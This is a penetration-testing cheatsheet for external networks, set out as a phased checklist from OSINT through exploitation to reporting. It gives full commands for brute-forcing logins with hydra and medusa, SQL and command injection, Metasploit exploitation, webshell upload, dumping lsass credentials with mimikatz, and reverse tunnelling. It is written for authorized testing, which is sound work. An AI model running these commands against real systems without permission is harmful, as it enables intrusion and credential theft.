External Network Penetration Testing Cheatsheet & Checklist

1. Reconnaissance / OSINT (Passive + Light Active)

Goal: Map attack surface without (or with minimal) touching targets.

☐ Confirm scope (IPs, CIDRs, domains, exclusions) and RoE signed

☐ Collect company metadata (WHOIS, ASN, BGP looking glasses)

☐ Enumerate **subdomains** (passive + active)

- `amass enum -passive -d target.com -o amass-passive.txt`
- `subfinder -d target.com -all -o subfinder.txt`
- `sublist3r -d target.com -o sublist3r.txt`
- Combine + resolve: `cat *.txt | sort -u | dnsx -resp-only -o resolved.txt`

☐ Certificate Transparency logs

- `crt.sh` / `censys.io` / `https://ui.ctsearch.entrust.com/ui/ctsearchui` (search `%.target.com`)
- `ctfr -d target.com -o ctfr.txt`

☐ DNS bruteforce (if allowed in scope)

- `dnsrecon -d target.com -D /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt`
- `gobuster dns -d target.com -w subdomains-top1million-20000.txt -t 100`

☐ Cloud assets (Azure/AWS/GCP fingerprints via DNS, buckets, etc.)

- `cloud_enum -k keywords.txt -t target`
- Check for open S3/Azure blobs manually via browser

☐ GitHub / code leaks (truffleHog, git-dumper)

- `trufflehog git <https://github.com/target-org/repo> --since-commit HEAD~50`

☐ Email harvesting / employee OSINT (theHarvester, Hunter.io, LinkedIn)

- `theHarvester -d target.com -b all -f theharvester.html`

□ Technology / WAF / CMS fingerprinting (passive)

- BuiltWith, Wappalyzer browser ext, WhatWeb on live hosts later

□ Shodan / Censys / FOFA queries for in-scope IPs/domains

2. Scanning & Enumeration (Active)

Goal: Discover live hosts, open ports, services, versions, and basic misconfigs.

□ Host discovery (if large CIDR)

- `nmap -sn -PE -PP -PM --send-eth 10.10.10.0/24 -oG hosts-up.txt`

□ Full port scan (top ports first, then all)

- Top 1000: `nmap -sS -sU --top-ports 1000 -T4 --open -iL hosts.txt -oA nmap-top`
- All ports (slow): `nmap -sS -sU -p- -T4 --open --min-rate 500 -iL hosts.txt -oA nmap-full`

□ Version + OS + scripts (aggressive)

- `nmap -sSV -sC -O -p- --open --min-rate 1000 -T4 -iL hosts.txt --script-args http.useragent="Mozilla/5.0..." -oA nmap-detail`
- Targeted service scripts: `-script "vuln,auth,brute,default,discovery,safe"`

□ Vulnerability scanning (unauthenticated)

- `nuclei -l live-hosts.txt -t /home/user/nuclei-templates/ -severity critical,high -c 50 -o nuclei-high.txt`
- `openvas / Nessus / Qualys` full scan (if licensed)

□ Web-specific enumeration

- `whatweb -v --log-brief=whatweb.txt <https://target.com` >
- `gobuster dir -u <https://target.com> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js,bak,old -t 40 --no-error`
- `feroxbuster -u <https://target.com> -w raft-large-directories.txt -x php,aspx,js,html,txt -t 50 --extract-links`
- Virtual hosts: `gobuster vhost -u <https://target-ip> -w subdomains.txt --append-domain`

□ SSL/TLS misconfigurations

- `testssl.sh --fast --color --jsonfile testssl.json target.com:443`

    - `sslscan --no-heartbleed target.com`
    - `nmap --script ssl-enum-ciphers,ssl-cert -p 443 target.com`

- □ SNMP enumeration (if UDP 161 open)
    - `snmpwalk -v2c -c public target.com`
    - `onesixtyone -c community.txt target.com`
- □ SMB enumeration (if ports 445/139)
    - `enum4linux-ng -A target.com`
    - `smbmap -H target.com -u guest -p ""`
    - `crackmapexec smb target.com -u '' -p '' --shares`

3. Vulnerability Analysis

Goal: Prioritize findings (CVSS v4, CISA KEV, exploitability).

- □ Correlate Nmap, Nuclei, OpenVAS/Nessus results
- □ Check Exploit-DB / GitHub / Packet Storm for PoCs
    - `searchsploit apache 2.4.57`
    - `cve-search -p target-service version`
- □ Manual verification of high/critical findings
- □ Check for default creds (admin:admin, etc.)
- □ Review web app for OWASP Top 10 / API issues
    - Burp Suite passive + active scan
    - `sqlmap -u "<https://target.com/page?id=1>" --batch --level 3 --risk 3`
- □ Prioritize CISA Known Exploited Vulnerabilities (KEV) catalogue hits first
- □ Document false positives / low-confidence findings

4. Exploitation

Goal: Controlled exploitation to prove impact (no DoS unless explicitly allowed).

- □ Metasploit for known exploits

- `msfconsole`
- `search cve:2025-1234`
- `use exploit/multi/http/struts2_rest_xstream`
- `set RHOSTS target.com` → `set LHOST your-ip` → `exploit`

□ Manual PoC execution

- Copy-paste Exploit-DB / GitHub PoCs
- Modify & compile if needed (gcc, mcs, etc.)

□ Web exploitation

- Burp Suite Repeater / Intruder for SQLi, XSS, SSRF, command injection
- `commix --url="<https://target.com/ping?ip=>"`
- File upload → webshell (php, aspx, jsp)

□ Brute-force / credential stuffing (low & slow)

- `hydra -L users.txt -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"`
- `medusa -h target.com -u users.txt -P rockyou.txt -M http -m DIR:/admin`

□ Kerberos / NTLM relay if applicable (rare external)

□ Buffer overflows / memory corruption (if desktop apps exposed)

5. Post-Exploitation / Persistence / Pivoting / Reporting

Goal: Demonstrate real impact, document chain, clean up.

□ If shell obtained

- Stabilize: `python3 -c 'import pty;pty.spawn("/bin/bash")'`
- Upgrade: `rlwrap socat file:`tty`,raw,echo=0 exec:'bash -li',pty,stderr,setsid,sigint,sane`
- Meterpreter if using MSF: `sessions -u <id>`

□ Enumeration from foothold

- Linux: linpeas.sh, linux-smart-enumeration.sh
- Windows: winPEASx64.exe, Seatbelt.exe

□ Credential dumping (if privilege allows)

- `procdump.exe -accepteula -ma lsass.exe lsass.dmp`
- `mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit`

□ Pivoting / port forwarding

- `ssh -L 3389:internal-host:3389 user@ foothold`
- Proxychains + nmap from foothold
- Chisel / ligolo-ng reverse tunnel

□ Persistence (if scope allows – rare in external)

- Cron / scheduled tasks / startup items

□ Data exfiltration proof (touch file, screenshot, etc.)

□ Clean up (remove uploaded files, kill processes, notify client)

□ Full report preparation

- Executive summary + CVSS v4 scores
- Technical findings with repro steps, screenshots, PoC
- Risk rating, business impact
- Remediation recommendations + retest plan

Quick Reference Tools Table

Phase	Primary Tools	Secondary / Helpers
Recon	Amass, Subfinder, dnsx, theHarvester, ctfr	Shodan, Censys, FOFA, trufflehog
Scanning	Nmap, Masscan, RustScan	httpx, gowitness
Enumeration	Gobuster, Feroxbuster, WhatWeb	Enum4linux-ng, smbmap, snmp*
Vuln Scanning	Nuclei, OpenVAS/Nessus	Nikto, sqlmap (light)
Exploitation	Metasploit, Burp Suite, sqlmap, commix	Custom PoCs, hydra/medusa
Post-Exploitation	linpeas/winPEAS, Mimikatz, BloodHound (if pivot)	Chisel, sshuttle, proxychains

Phase	Primary Tools	Secondary / Helpers
Reporting	Markdown / Dradis / templates	Screenshots (Flameshot / OBS)